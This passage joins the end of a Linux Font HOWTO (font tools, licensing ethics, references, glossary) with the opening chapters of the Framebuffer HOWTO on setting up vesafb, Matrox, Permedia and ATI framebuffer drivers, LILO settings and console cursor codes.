  • ttf2pt1 is a TrueType to Type1 font converter. It is useful if you have applications that require Type1 fonts.
  • ttfps converts .ttf TrueType font files into Type42 files.
  • ttfutils A package of utilities for handling TrueType fonts. This package requires ttf2pt1. Useful if not essential.
  • type1inst is an essential package for installing Type1 fonts. It greatly simplifies the installation.
  • xfstt is a TrueType font server for Linux. It's useful, but xfs is probably a better choice.
  • xfsft The xfsft font server. Note that this is included in xfs.
  • x-tt is a font server designed to handle Korean and Japanese fonts.


Font HOWTO: Ethics and Licensing Issues Related to Type

 Next Previous Contents

12. Ethics and Licensing Issues Related to Type

Font licensing is a very contentious issue. While it is true that there is a wealth of freely available fonts, the chances are that the fonts are ``ripoffs'' in some sense, unless they come with a license indicating otherwise. The issue is made more confusing by intellectual property laws regarding typefaces. Basically, in the USA, font files are protected by copyright, but font renderings are not. In other words, it's illegal to redistribute fonts, but it's perfectly legal to ``reverse-engineer'' them by printing them out on graph paper and designing the curves to match the printout. Reverse engineered fonts are typically cheap and freely available, but of poor quality. These fonts, as well as pirated fonts are often distributed on very cheap CDs containing huge amounts of fonts. So it's not always easy to tell if a font is reverse engineered, or simply pirated. This situation creates an enormous headache for anyone hoping to package free fonts for Linux.

Perhaps one of the most offensive things about the nature of font piracy is that it artificially debases the value of the work that type designers do. Pirated fonts invariably are bundled en masse onto these one zillion font CDs, with no due credit given to the original designers. In contrast, what is commendable about several legitimate font foundries is that they credit their designers.

There are many differing opinions on this issue. See typeright for an explanation of the case in favour of intellectual property rights. Also, see Southern Software, Inc for another opinion -- but don't buy any of their fonts! Their Type1 fonts ( poorly reverse-engineered Adobe fonts ) do not have AFMs, and are thus unusable.

The comp.fonts FAQ also discusses the issues of fonts and intellectual property, as does Luc Devroye's homepage. These references are somewhat less extreme in their views.


Font HOWTO: References

 Next Previous Contents

13. References

13.1 Font Information

  • Rod Smith's homepage contains a wealth of information about using fonts and printers with Applixware and Word Perfect.
  • John McLaughlin's page discusses setting up fonts with Star Office
  • Jim Land's homepage contains a lot of links to sites on postscript and fonts.
  • The comp.fonts FAQ is the definitive font FAQ.
  • Luc Devroye's homepage Contains enough information about fonts and other things to sink a ship. This guy designed a bunch of free fonts, and his homepage has a lot of interesting links, information and commentary.
  • The Font Deuglification HOWTO discusses TrueType fonts under Linux. This is the clear winner of the ``TrueType'' HOWTOs. An excellent source of information.
  • TrueType Fonts in Debian mini-HOWTO discusses installing TrueType in Debian. A must-read for Debian users. Also worth reading if you have any distribution that doesn't have the version of xfs with TrueType support.
  • The (preliminary) True Type HOWTO -- an incomplete HOWTO dated June 1998. Included in this list for completeness.
  • TrueType for XFree86 Mini-HOWTO -- a slightly dated HOWTO. Only applicable to Redhat 5.x

13.2 Postscript and Printing Information

  • Adobe's Postscript page is the definitive site on the postscript standard.
  • Ghostscript's home page has a lot of information, and all the latest printer drivers.
  • Jim Land's homepage contains a lot of links to sites on postscript and fonts.
  • Christopher Browne's Printing FAQ


Font HOWTO: Glossary

 Next Previous Contents

14. Glossary

  • afm Stands for Adobe Font Metric. These files store information about the width and spacing associated with the font, as opposed to information about the font shape.
  • anti-aliasing also referred to as font smoothing is a technique used to render fonts on low resolution devices ( such as a monitor ). The problem with rendering fonts is that the fonts consist of outlines, but the device renders in dots. The obvious way to render a font is to color black any pixel inside the outline, and leave all other dots. The problem with this is that it doesn't adequately address the pixels that are on the outline. A smarter algorithm would be to color the boundary pixels gray. Anti-aliasing essentially involves doing this.
  • bdf fonts are a variety of bit-mapped fonts that may be used with X.
  • bitmap fonts These fonts are simply a collection of dots. Each character of the font is stored as a dot matrix. Because of this, bitmap fonts are device dependent, so you can't use the same bitmap fonts on a screen and a printer. Examples of bitmap screen fonts include .pcf and .bdf fonts used by X. Examples of printer bitmap fonts include TeX's PK fonts.
  • didone see modern.
  • DPI Dots Per Inch. Monitors typically display at 75-100 DPI, while modern printers vary from 300-1200 DPI
  • expert fonts are collections of additional characters that supplement a font. They include small caps fonts, ornaments, extra ligatures, and variable width digits. Many of Adobe's fonts have expert fonts available.
  • font server a background program that makes fonts available to XFree86.
  • glyph A glyph is a fancy word for a shape. It is a component that makes up an outline font. For example, the dot on the letter ``i'' is a glyph, as is the vertical line, as are the serifs. Glyphs determine the shape of the font.
  • kerning In variable width fonts, different pairs of characters are spaced differently. The font metric files store information regarding spacing between pairs of characters, called kerning pairs.
  • ligature A ligature is a special character that is used to represent a sequence of characters. This is best explained by example -- when the letter fi are rendered, the dot on the ``i'' collides with the ``f'', and the serif on the top left of the i can also collide with the horizontal stroke of the f. The fi ligature is a single character that can be used in the place of a single f followed by a single i. There are also ligatures for fl, ffi, and ffl. Most fonts only include the fi and fl ligatures. The other ligatures may be made available in an expert font.
  • metafont A graphics language used for creating fonts. Metafont has a lot of nice features, the main one being that fonts created with metafont need not just scale linearly. That is, a 17 point computer modern font generated by metafont is not the same as a magnified 10 point computer modern font. Prior to Adobe's multiple master technology, metafont was unique with respect to having this feature. Metafonts main advantage is that it produces high quality fonts. The disadvantage is that generating bitmaps from the outline fonts is slow, so they aren't feasible for WYSIWYG publishing.
  • metric this stores information about how much space a font takes up. A font metric is like a box that one can embed the font in. Font metrics are essential for the purpose of laying out fonts on a page, while the font shape itself is not. So typically, variable width fonts have metric information as well as shape information. The metric also includes kerning information.
  • modern fonts are fonts based on designs developed in the 19th century or later. The moderns have a solid appearance due to their vertical stress. They tend to have more ``character'' or ``attitude'' than the old styles and transitionals, but still carry a certain amount of dignity and formality. They are not suited for writing long passages, but they are useful for adding character to a piece of writing. Bodoni is a notable modern typeface.
  • old style fonts are a traditional class of typeface. The old style fonts are based on designs from as far back as the late 15th century. Old style fonts are great for writing long documents ( such as books ). While the old style fonts are designed in the tradition of the earlier designers, some of them were designed quite recently. Notably, the face Goudy Old Style was designed by Goudy in the early 20th century. Notable old style faces include Goudy Old Style, Garamond, and Caslon.
  • pcf fonts are bit-mapped fonts used by X.
  • postscript is a programming language designed for page description. Postscript was a trademark of it's inventor, adobe. However, it is also an ISO standard. Postscript needs an interpreter to render it. This can be done via a program on the computer, such as ghostscript, or it can be interpreted by some printers.
  • serif fonts are fonts with little hooks ( called serifs ) on the ends of the font. the serifs usually help make the font more readable. However, serifs are quite difficult to render on low resolution devices, especially at small font sizes ( because they are a fine detail ), so it is often true that at small sizes on low resolution devices, sans serif fonts ( such as Microsoft's Verdana ) prove more readable. Another issue is that there are sans serif fonts ( like the moderns ) that are not designed for writing long documents.
  • sans serif fonts are fonts without serifs ( sans is French for ``without'' ). These fonts have a stark appearance, and are well suited for writing headlines. While textbook typography mandates that serif fonts be used just for headlines, they can have other uses. There are sans serif fonts designed for readability as opposed to impact. Short punchy documents that are skimmed ( such as catalogues and marketting brochures ) may use them, and recently, Microsoft have made available the Verdana font which is designed for readability at small sizes on low resolution devices. Well known sans serif fonts include Lucida Sans, MS Comic Sans, Avant Garde, Arial, Verdana, Century Gothic.
  • slab serif fonts are a certain class of font whose serifs look like slabs ( eg flat lines or blocks ) and not hooks. Slab serif fonts are often, but not always very readable. Because the serifs are simple and strong, they give one the feeling that they have been punched into the page. Well known examples of slab serifs are Clarendon, New Century Schoolbook, and Memphis.
  • transitional fonts are fonts that are based on more recent designs than the old style fonts. many of the transitional fonts have good readability. Notable transitionals include Baskerville, and Times Roman.
  • Type1 is a type of font designed by Adobe. These fonts are well supported by almost all linux applications, because they have been supported by the X server architecture and the postscript standard for a long time. Postscript fonts are distributed in many different formats. Typically, a UNIX postscript font is distributed as an afm ( adobe font metric ) file, and an outline file, which is usually a .pfb ( printer font binary ) or .pfa ( printer font ascii ) file. The outline file contains all the glyphs, while the metric file contains the metrics.
  • type3 fonts are similar to Type1. The file extensions are similar to Type1 fonts ( they are distributed as pfa and afm files ), but they are not supported by X, and because of this, there are not very many linux applications which support them.


Framebuffer HOWTO

Alex Buell, alex.buell@tahallah.clara.co.uk

v1.2, 27 Feb 2000

This document describes how to use the framebuffer devices in Linux with a variety of platforms. This also includes how to set up multi-headed displays.

1. History

2. Contributors

3. What is a framebuffer device?

4. What advantages does framebuffer devices have?

5. Using framebuffer devices on Intel platforms

  • 5.1 What is vesafb?
  • 5.2 How do I activate the vesafb drivers?
  • 5.3 What VESA modes are available to me?
  • 5.4 Got a Matrox card?
  • 5.5 Got a Permedia card?
  • 5.6 Got a ATI card?
  • 5.7 Which graphic cards are VESA 2.0 compliant?
  • 5.8 Can I make vesafb as a module?
  • 5.9 How do I modify the cursor?

6. Using framebuffer devices on Atari m68k platforms

  • 6.1 What modes are available on Atari m68k platforms?
  • 6.2 Additional suboptions on Atari m68k platforms
  • 6.3 Using the internal suboption on Atari m68k platforms
  • 6.4 Using the external suboption on Atari m68k platforms

7. Using framebuffer devices on Amiga m68k platforms

  • 7.1 What modes are available for Amiga m68k platforms?
  • 7.2 Additional suboptions on Amiga m68k platforms
  • 7.3 Supported Amiga graphic expansion boards

8. Using framebuffer devices on Macintosh m68k platforms

9. Using framebuffer devices on PowerPC platforms

10. Using framebuffer devices on Alpha platforms

  • 10.1 What modes are available to me?
  • 10.2 Which graphic cards can work with the frambuffer device?

11. Using framebuffer devices on SPARC platforms

  • 11.1 Which graphic cards can work with the framebuffer device?
  • 11.2 Configuring the framebuffer devices

12. Using framebuffer devices on MIPS platforms

13. Using framebuffer devices on ARM platforms

  • 13.1 Netwinders
  • 13.2 Acorn Archimedes
  • 13.3 Other ARM ports (SA 7110s et. al)

14. Using multi-headed framebuffers

  • 14.1 Introduction
  • 14.2 Feedback
  • 14.3 Contributors
  • 14.4 Standard Disclaimer
  • 14.5 Copyright Information
  • 14.6 What hardware is supported?
  • 14.7 Commercial support
  • 14.8 Getting all the stuff.
  • 14.9 Getting Started
  • 14.10 Summary
  • 14.11 Other Notes and Problems

15. Using/Changing fonts

16. Changing console modes

17. Setting up the X11 FBdev driver

18. How do I convert XFree86 mode-lines into framebuffer device timings?

19. Changing the Linux logo

20. Looking for further information?


Framebuffer HOWTO: History

 Next Previous Contents

1. History

Revision history

19990607 - Release of 1.0

19990722 - Release of 1.1

20000222 - Release of 1.2


Framebuffer HOWTO: Contributors

 Next Previous Contents

2. Contributors

Thanks go to these people listed below who helped improve the Framebuffer HOWTO.

  • Jeff Noxon jeff@planetfall.com
  • Francis Devereux f.devereux@cs.ucl.ac.uk
  • Andreas Ehliar ehliar@futurniture.se
  • Martin McCarthy marty@ehabitat.demon.co.uk
  • Simon Kenyon simon@koala.ie
  • David Ford david@kalifornia.com
  • Chris Black cblack@cmpteam4.unil.ch
  • N Becker nbecker@fred.net
  • Bob Tracy rct@gherkin.sa.wlk.com
  • Marius Hjelle marius.hjelle@roman.uib.no
  • James Cassidy jcassidy@misc.dyn.ml.org
  • Andreas U. Trottmann andreas.trottmann@werft22.com
  • Lech Szychowski lech7@lech.pse.pl
  • Aaron Tiensivu tiensivu@pilot.msu.edu
  • Jan-Frode Myklebust for his info on permedia cards janfrode@ii.uib.no
  • Many others too numerous to add, but thanks!

Thanks go to Rick Niles frederick.a.niles@gsfc.nasa.gov who has very kindly handed over his Multi-Head Mini-HOWTO for inclusion in this HOWTO.

Thanks to these people listed below who built libc5/glibc2 versions of the XF86_FBdev X11 framebuffer driver for X11 on Intel platforms:

  • Brion Vibber brion@pobox.com
  • Gerd Knorr kraxel@cs.tu-berlin.de

and of course the authors of the framebuffer devices:

  • Martin Schaller - original author of the framebuffer concept
  • Roman Hodek Roman.Hodek@informatik.uni-erlangen.de
  • Andreas Schwab schwab@issan.informatik.uni-dortmund.de
  • Guenther Kelleter
  • Geert Uytterhoeven Geert.Uytterhoeven@cs.kuleuven.ac.be
  • Roman Zippel roman@sodom.obdg.de
  • Pavel Machek pavel@atrey.karlin.mff.cuni.cz
  • Gerd Knorr kraxel@cs.tu-berlin.de
  • Miguel de Icaza miguel@nuclecu.unam.mx
  • David Carter carter@compsci.bristol.ac.uk
  • William Rucklidge wjr@cs.cornell.edu
  • Jes Sorensen jds@kom.auc.dk
  • Sigurdur Asgeirsson
  • Jeffrey Kuskin jsk@mojave.stanford.edu
  • Michal Rehacek michal.rehacek@st.mff.cuni.edu
  • Peter Zaitcev zaitcev@lab.ipmce.su
  • David S. Miller davem@dm.cobaltmicro.com
  • Dave Redman djhr@tadpole.co.uk
  • Jay Estabrook
  • Martin Mares mj@ucw.cz
  • Dan Jacobowitz dan@debian.org
  • Emmanuel Marty core@ggi-project.org
  • Eddie C. Dost ecd@skynet.be
  • Jakub Jelinek jj@ultra.linux.cz
  • Phil Blundell philb@gnu.org
  • Anyone else, stand up and be counted. :o)


Framebuffer HOWTO: What is a framebuffer device?

 Next Previous Contents

3. What is a framebuffer device?

A framebuffer device is an abstraction for the graphic hardware. It represents the frame buffer of some video hardware, and allows application software to access the graphic hardware through a well-defined interface, so that the software doesn't need to know anything about the low-level interface stuff [Taken from Geert Uytterhoeven's framebuffer.txt in the linux kernel sources]


Framebuffer HOWTO: What advantages does framebuffer devices have?

 Next Previous Contents

4. What advantages does framebuffer devices have?

Penguin logo. :o) Seriously, the major advantage of the framebuffer drives is that it presents a generic interface across all platforms. It was the case until late in the 2.1.x kernel development process that the Intel platform had console drivers completely different from the other console drivers for other platforms. With the introduction of 2.1.109 all this has changed for the better, and introduced more uniform handling of the console under the Intel platforms and also introduced true bitmapped graphical consoles bearing the Penguin logo on Intel for the first time, and allowed code to be shared across different platforms. Note that 2.0.x kernels do not support framebuffer devices, but it is possible someday someone will backport the code from the 2.1.x kernels to 2.0.x kernels. There is an exception to that rule in that the v0.9.x kernel port for m68k platforms does have the framebuffer device support included.

With the release of the 2.2.x kernel, framebuffer device support is very solid and stable. You should use the framebuffer device if your graphic card supports it, if you are using 2.2.x kernels. Older 2.0.x kernels does not support framebuffer devices, at least on the Intel platform.

  • 0.9.x (m68k) - introduced m68k framebuffer devices. Note that m68k 0.9.x is functionally equivalent to Intel 1.0.9 (plus 1.2.x enhancements)
  • 2.1.107 - introduced Intel framebuffer/new console devices and added generic support, without scrollback buffer support.
  • 2.1.113 - scrollback buffer support added to vgacon.
  • 2.1.116 - scrollback buffer support added to vesafb.
  • 2.2.x - includes matroxfb(Matrox) and atyfb(ATI).

There are some cool features of the framebuffer devices, in that you can give generic options to the kernel at bootup-time, including options specific to a particular framebuffer device. These are:

  • video=xxx:off - disable probing for a particular framebuffer device
  • video=map:octal-number - maps the virtual consoles (VCs) to framebuffer (FB) devices
    • video=map:01 will map VC0 to FB0, VC1 to FB1, VC2 to FB0, VC3 to FB1..
    • video=map:0132 will map VC0 to FB0, VC1 to FB1, VC2 to FB3, VC4 to FB2, VC5 to FB0..

Normally framebuffer devices are probed for in the order specified in the kernel, but by specifying the video=xxx option, you can add the specific framebuffer device you want probed before the others specified in the kernel.


Framebuffer HOWTO: Using framebuffer devices on Intel platforms

 Next Previous Contents

5. Using framebuffer devices on Intel platforms

5.1 What is vesafb?

Vesafb is a framebuffer driver for Intel architecture that works with VESA 2.0 compliant graphic cards. It is closely related to the framebuffer device drivers in the kernel.

vesafb is a display driver that enables the use of graphical modes on your Intel platform for bitmapped text consoles. It can also display a logo, which is probably the main reason why you'd want to use vesafb :o)

Unfortunately, you can not use vesafb successfully with VESA 1.2 cards. This is because these 1.2 cards do not use linear frame buffering. Linear frame buffering simply means that the system's CPU is able to access every bit of the display. Historically, older graphic adapters could allow the CPU to access only 64K at a time, hence the limitations of the dreadful CGA/EGA graphic modes! It may be that someone will write a vesafb12 device driver for these cards, but this will use up precious kernel memory and involve a nasty hack.

There is however a potential workaround to add VESA 2.0 extensions for your legacy VESA 1.2 card. You may be able to download a TSR type program that will run from DOS, and used in cojunction with loadlin, can help configure the card for the appropriate graphic console modes. Note that this will not always work, as an example some Cirrus Logic cards such as the VLB 54xx series are mapped to a range of memory addresses (for example, within the 15MB-16MB range) for frame buffering which preludes these from being used successfully with systems that have more than 32MB of memory. There is a way to make this work, i.e. if you have a BIOS option to leave a memory hole at 15MB-16MB range, it might work, Linux doesn't support the use of memory holes. However there are patches for this option though [Who has these and where do one gets them from?]. If you wish to experiment with this option, there are plenty of TSR style programs available, a prime example is UNIVBE, which can be found on the Internet.

Alternatively, you may be able to download kernel patches to allow your VESA 1.2 card to work with the VESA framebuffer driver. For example, there are patches for use with older S3 boards (such as S3 Trio, S3 Virge) that supports VESA 1.2. For these cards, you can pick up patches from

ftp://ccssu.crimea.ua/pub/linux/kernel/v2.2/unofficial/s3new.diff.gz

5.2 How do I activate the vesafb drivers?

Assuming you are using menuconfig, you will need to do the following steps:

If your processor (on Intel platforms) supports MTRRs, enable this. It speeds up memory copies between the processor and the graphic card, but not strictly necessary. You can of course, do this after you have the console device working.

IMPORTANT: For 2.1.x kernels, go into the Code Maturity Level menu, and enable the prompt for development andor incomplete drivers. This is no longer necessary for the 2.2.x kernels.

Go into the Console Drivers menu, and enable the following:

  • VGA Text Console
  • Video Selection Support
  • Support for frame buffer devices (experimental)
  • VESA VGA Graphic console
  • Advanced Low Level Drivers
  • Select Mono, 2bpp, 4bpp, 8bpp, 16bpp, 24bpp and 32bpp packed pixel drivers

VGA Chipset Support (text only) - vgafb - used to be part of the list above, but it has been removed as it is now deprecated and no longer supported. It will be removed shortly. Use VGA Text Console (fbcon) instead. VGA Character/Attributes is only used with VGA Chipset Support, and doesn't need to be selected.

Ensure that the Mac variable bpp packed pixel support is not enabled. Linux kernel release 2.1.111 (and 112) seemed to enable this automatically if Advanced Low Level Drivers was selected for the first time. This no longer happens with 2.1.113.

There is also the option to compile in fonts into memory, but this isn't really necessary, and you can always use kbd-0.99's (see section on fonts) setfont utility to change fonts by loading fonts into the console device.

Make sure these aren't going to be modules. [Not sure if it's possible to build them as modules yet - please correct me on this]

You'll need to create the framebuffer device in /dev. You need one per framebuffer device, so all you need to do is to type in mknod /dev/fb0 c 29 0 for the first one. Subsequent ones would be in multiples of 32, so for example to create /dev/fb1, you would need to type in mknod /dev/fb1 c 29 32, and so on up to the eighth framebuffer device (mknod /dev/fb7 c 29 224)

Then rebuild the kernel, modify /etc/lilo.conf to include the VGA=ASK parameter, and run lilo, this is required in order for you to be able to select the modes you wish to use.

Here's a sample LILO configuration (taken from my machine)

# LILO configuration file
boot = /dev/hda3
delay = 30
prompt
vga = ASK # Let user enter the desired modes
image = /vmlinuz
  root = /dev/hda3
  label = Linux
  read-only # Non-UMSDOS filesystems should be mounted read-only for checking

Reboot the kernel, and as a simple test, try entering 0301 at the VGA prompt (this will give you 640x480 @ 256), and you should be able to see a cute little Penguin logo.

Note, that at the VGA prompt, you're required to type in the number in the format of "0" plus the 3 digit figure, and miss out the 'x'. This isn't necessary if you're using LILO.

Once you can see that's working well, you can explore the various VESA modes (see below) and decide on the one that you like the best, and hardwire that into the "VGA=x" parameter in lilo.conf. When you have chosen the one you like the best, look up the equivalent hexadecimal number from the table below and use that (i.e. for 1280x1024 @ 256, you just use "VGA=0x307"), and re-run lilo. That's all there it is to it. For further references, read the LoadLin/LILO HOWTOs.

NOTE! vesafb does not enable scrollback buffering as a default. You will need to pass to the kernel the option to enable it. Use video=vesa:ypan or video=vesa:ywrap to activate it. Both does the same thing, but in different ways. ywrap is a lot faster than ypan but may not work on slightly broken VESA 2.0 graphic cards. ypan is slower than ywrap but a lot more compatible. This option is only present in kernel 2.1.116 and above. Earlier kernels did not have the ability to allow scrollback buffering in vesafb.

5.3 What VESA modes are available to me?

This really depends on the type of VESA 2.0 compliant graphic card that you have in your system, and the amount of video memory available. This is just a matter of testing which modes work best for your graphic card.

The following table shows the mode numbers you can input at the VGA prompt or for use with the LILO program. (actually these numbers are plus 0x200 to make it easier to refer to the table)

Colours   640x400 640x480 800x600 1024x768 1152x864 1280x1024 1600x1200
--------+--------------------------------------------------------------
 4 bits |    ?       ?     0x302      ?        ?        ?         ?
 8 bits |  0x300   0x301   0x303    0x305    0x161    0x307     0x31C
15 bits |    ?     0x310   0x313    0x316    0x162    0x319     0x31D
16 bits |    ?     0x311   0x314    0x317    0x163    0x31A     0x31E
24 bits |    ?     0x312   0x315    0x318      ?      0x31B     0x31F
32 bits |    ?       ?       ?        ?      0x164      ?

Key: 8 bits = 256 colours, 15 bits = 32,768 colours, 16 bits = 65,536 colours, 24 bits = 16.8 million colours, 32 bits - same as 24 bits, but the extra 8 bits can be used for other things, and fits perfectly with a 32 bit PCI/VLB/EISA bus.

Additional modes are at the discretion of the manufacturer, as the VESA 2.0 document only defines modes up to 0x31F. You may need to do some fiddling around to find these extra modes.

5.4 Got a Matrox card?

If you've got a Matrox graphic card, you don't actually need vesafb, you need the matroxfb driver instead. This greatly enhances the capabilities of your card. Matroxfb will work with Matrox Mystique Millennium I & II, G100 and G200. It also supports multiheaded systems (that is, if you have two Matrox cards in your machine, you can use two displays on the same machine!). To configure for Matrox, you will need to do the following:

You might want to upgrade the Matrox BIOS though, you can download the BIOS upgrade from

http://www.matrox.com/mgaweb/drivers/ftp_bios.htm
Beware that you will need DOS to do this.

Go into the Code Maturity Level menu, and enable the prompt for development and/or incomplete drivers [note this may change for future kernels - when this happens, this HOWTO will be revised]

Go into the Console Drivers menu, and enable the following:

  • VGA Text Console
  • Video Selection Support
  • Support for frame buffer devices (experimental)
  • Matrox Acceleration
  • Select the following depending on the card that you have
    • Millennium I/II support
    • Mystique support
    • G100/G200 support
  • Enable Multihead Support if you want to use more than one Matrox card
  • Advanced Low Level Drivers
  • Select Mono, 2bpp, 4bpp, 8bpp, 16bpp, 24bpp and 32bpp packed pixel drivers

Rebuild your kernel. Then you will need to modify your lilo.conf file to enable the Matroxfb device. The quickest and simplest way is re-use mine.

# LILO configuration file
boot = /dev/hda3
delay = 30
prompt
vga = 792    # You need to do this so it boots up in a sane state
# Linux bootable partition config begins
image = /vmlinuz
  append = "video=matrox:vesa:440" # then switch to Matroxfb
  root = /dev/hda3
  label = Linux
  read-only # Non-UMSDOS filesystems should be mounted read-only for checking

Lastly, you'll need to create the framebuffer device in /dev. You need one per framebuffer device, so all you need to do is to type in mknod /dev/fb0 c 29 0 for the first one. Subsequent ones would be in multiples of 32, so for example to create /dev/fb1, you would need to type in mknod /dev/fb1 c 29 32, and so on up to the eight framebuffer device (mknod /dev/fb7 c 29 224)

And that should be it! [NOTE: Is anyone using this multiheaded support, please get in touch with me ASAP - I need to talk to you about it so I can document it!

5.5 Got a Permedia card?

Permedia cards cannot be used with the vesafb driver, but fortunately, there is the Permedia framebuffer driver available to use. Assuming you are using menuconfig, do the following:

Go into the Code Maturity Level menu, and enable the prompt for development and/or incomplete drivers [note this may change for future kernels - when this happens, this HOWTO will be revised]

Go into the Console Drivers menu and select the following:

  • VGA Text Console
  • Video Selection Support
  • Support for frame buffer devices (experimental)
  • Permedia2 support (experimental)
  • Generic Permedia2 PCI board support
  • Advanced Low Level Drivers
  • Select Mono, 2bpp, 4bpp, 8bpp, 16bpp, 24bpp and 32bpp packed pixel drivers
  • Optionally, select the following, if you wish to use the compiled in fonts
    • Select compiled-in fonts
    • Select Sparc console 12x22 font

Rebuild your kernel. Then you will need to modify your lilo.conf file to enable the pm2fb device. The quickest and simplest way is re-use the following

# LILO configuration file
boot = /dev/hda3
delay = 30
prompt
vga = 792    # You need to do this so it boots up in a sane state
# Linux bootable partition config begins
image = /vmlinuz
  append = "video=pm2fb:mode:1024x768-75,font:SUN12x22,ypan" # then switch to pm2fb
  root = /dev/hda3
  label = Linux
  read-only # Non-UMSDOS filesystems should be mounted read-only for checking

The line "pm2fb:mode:1024x768-75,font:SUN12x22,ypan" indicates you are selecting a 1024x768 mode at 75Hz, with the SUN12x22 font selected (if you did select it), including ypan for scrollback support. You may select other modes if you desire.

Lastly, you'll need to create the framebuffer device in /dev. You need one per framebuffer device, so all you need to do is to type in mknod /dev/fb0 c 29 0 for the first one. Subsequent ones would be in multiples of 32, so for example to create /dev/fb1, you would need to type in mknod /dev/fb1 c 29 32, and so on up to the eight framebuffer device (mknod /dev/fb7 c 29 224)

For more information on the other features of the Permedia framebuffer driver, point your browser at:

http://www.cs.unibo.it/~nardinoc/pm2fb/index.html

video=pm2fb:[option[,option[,option...]]]

where option is one of the following

  • off to disable the driver.
  • mode:resolution to set the console resolution. The modes have been taken from the fb.modes.ATI file in Geert's fbset package. The depth for all the modes is 8bpp. This is the list of the available modes:
    • 640x480-(60,72,75,90,100)
    • 800x600-(56,60,70,72,75,90,100)
    • 1024x768-(60,70,72,75,90,100,illo) illo=80KHz 100Hz
    • 1152x864-(60,70,75,80)
    • 1280x1024-(60,70,74,75)
    • 1600x1200-(60,66,76)
  • The default resolution is 640x480-60.
  • font:font name to set the console font. Example: font:SUN12x22
  • ypan sets the current virtual height as big as video memory size permits.
  • oldmem this option is for CybervisionPPC users only. Specify this if your board has Fujitsu SGRAMs mounted on (all CVisionPPCs before 30-Dec-1998).
  • virtual (temporary) specify this if the kernel remaps the PCI regions on your platform.

5.6 Got a ATI card?

[Note: This information is at best, only second-hand or third-hand, since I don't have an ATI card to test it with. Feel free to correct me if I am wrong or flame me!] 8)

ATI cards can be used with the vesafb driver, but you may or may not have problems, depending on how horribly broken the card is. Fortunately, there is the atyfb framebuffer driver available to use. Assuming you are using menuconfig, do the following:

Go into the Code Maturity Level menu, and enable the prompt for development and/or incomplete drivers [note this may change for future kernels - when this happens, this HOWTO will be revised]

Go into the Console Drivers menu and select the following:

  • VGA Text Console
  • Video Selection Support
  • Support for frame buffer devices (experimental)
  • ATI Mach64 display support
  • Advanced Low Level Drivers
  • Select Mono, 2bpp, 4bpp, 8bpp, 16bpp, 24bpp and 32bpp packed pixel drivers
  • Optionally, select the following, if you wish to use the compiled in fonts
    • Select compiled-in fonts
    • Select Sparc console 12x22 font

Rebuild your kernel. Then you will need to modify your lilo.conf file to enable the atyfb device. The quickest and simplest way is re-use the following

# LILO configuration file
boot = /dev/hda3
delay = 30
prompt
vga = 792    # You need to do this so it boots up in a sane state
# Linux bootable partition config begins
image = /vmlinuz
  append = "video=atyfb:mode:1024x768,font:SUN12x22"
  root = /dev/hda3
  label = Linux
  read-only # Non-UMSDOS filesystems should be mounted read-only for checking

The line "atyfb:mode:1024x768,font:SUN12x22" indicates you are selecting a 1024x768 mode.

Lastly, you'll need to create the framebuffer device in /dev. You need one per framebuffer device, so all you need to do is to type in mknod /dev/fb0 c 29 0 for the first one. Subsequent ones would be in multiples of 32, so for example to create /dev/fb1, you would need to type in mknod /dev/fb1 c 29 32, and so on up to the eight framebuffer device (mknod /dev/fb7 c 29 224)

video=atyfb:[option[,option[,option...]]]

where option is one of the following

  • font:STRING selects the built-in font (compiled into the kernel)
  • noblink Turns off blinking
  • noaccel Disables acceleration
  • vram:ULONG Tells the atyfb driver how much memory you have
  • pll:ULONG Unknown
  • mclk:ULONG Unknown
  • vmode:ULONG Unknown
  • cmode:ULONG - sets depth - 0, 8, 15, 16, 24 and 32

5.7 Which graphic cards are VESA 2.0 compliant?

This lists all the graphic cards that are known to work with the vesafb device:

  • ATI PCI VideoExpression 2MB (max. 1280x1024 @ 8bit)
  • ATI PCI All-in-Wonder
  • Matrox Millennium PCI - BIOS v3.0
  • Matrox Millennium II PCI - BIOS v1.5
  • Matrox Millennium II AGP - BIOS v1.4
  • Matrox Millennium G200 AGP - BIOS v1.3
  • Matrox Mystique & Mystique 220 PCI - BIOS v1.8
  • Matrox Mystique G200 AGP - BIOS v1.3
  • Matrox Productiva G100 AGP - BIOS v1.4
  • All Riva 128 based cards
  • Diamond Viper V330 PCI 4MB
  • Genoa Phantom 3D/S3 ViRGE/DX
  • Hercules Stingray 128/3D with TV output
  • Hercules Stingray 128/3D without TV output - needs BIOS upgrade (free from support@hercules.com)
  • SiS 6326 PCI/AGP 4MB
  • STB Lightspeed 128 (Nvida Riva 128 based) PCI
  • STB Velocity 128 (Nvida Riva 128 based) PCI
  • Jaton Video-58P ET6000 PCI 2MB-4MB (max. 1600x1200 @ 8bit)
  • Voodoo2 2000

This list is composed of on-board chipsets on systems' motherboards:

  • Trident Cyber9397
  • SiS 5598

This list below blacklists graphic cards that doesn't work with the vesafb device:

  • TBA

5.8 Can I make vesafb as a module?

As far as is known, vesafb can't be modularised, although at some point in time, the developer of vesafb may decide to modify the sources for modularising. Note that even if modularising is possible, at boot time you will not be able to see any output on the display until vesafb is modprobed. It's probably a lot wiser to leave it in the kernel, for these cases when there are booting problems.

5.9 How do I modify the cursor?

[Taken from VGA-softcursor.txt - thanks Martin Mares!]

Linux now has some ability to manipulate cursor appearance. Normally, you can set the size of hardware cursor (and also work around some ugly bugs in those miserable Trident cards--see #define TRIDENT_GLITCH in drivers/char/ vga.c). In case you enable "Software generated cursor" in the system configuration, you can play a few new tricks: you can make your cursor look like a non-blinking red block, make it inverse background of the character it's over or to highlight that character and still choose whether the original hardware cursor should remain visible or not. There may be other things I have never thought of.

The cursor appearance is controlled by a

<ESC>[?1;2;3c
escape sequence where 1, 2 and 3 are parameters described below. If you omit any of them, they will default to zeroes.

Parameter 1 specifies cursor size (0=default, 1=invisible, 2=underline, ..., 8=full block) + 16 if you want the software cursor to be applied + 32 if you want to always change the background colour + 64 if you dislike having the background the same as the foreground. Highlights are ignored for the last two flags.

The second parameter selects character attribute bits you want to change (by simply XORing them with the value of this parameter). On standard VGA, the high four bits specify background and the low four the foreground. In both groups, low three bits set colour (as in normal colour codes used by the console) and the most significant one turns on highlight (or sometimes blinking--it depends on the configuration of your VGA).

The third parameter consists of character attribute bits you want to set. Bit setting takes place before bit toggling, so you can simply clear a bit by including it in both the set mask and the toggle mask.

To get normal blinking underline, use: echo -e '\033[?2c' To get blinking block, use: echo -e '\033[?6c' To get red non-blinking block, use: echo -e '\033[?17;0;64c'


Framebuffer HOWTO: Using framebuffer devices on Atari m68k platforms

 Next Previous Contents

6. Using framebuffer devices on Atari m68k platforms

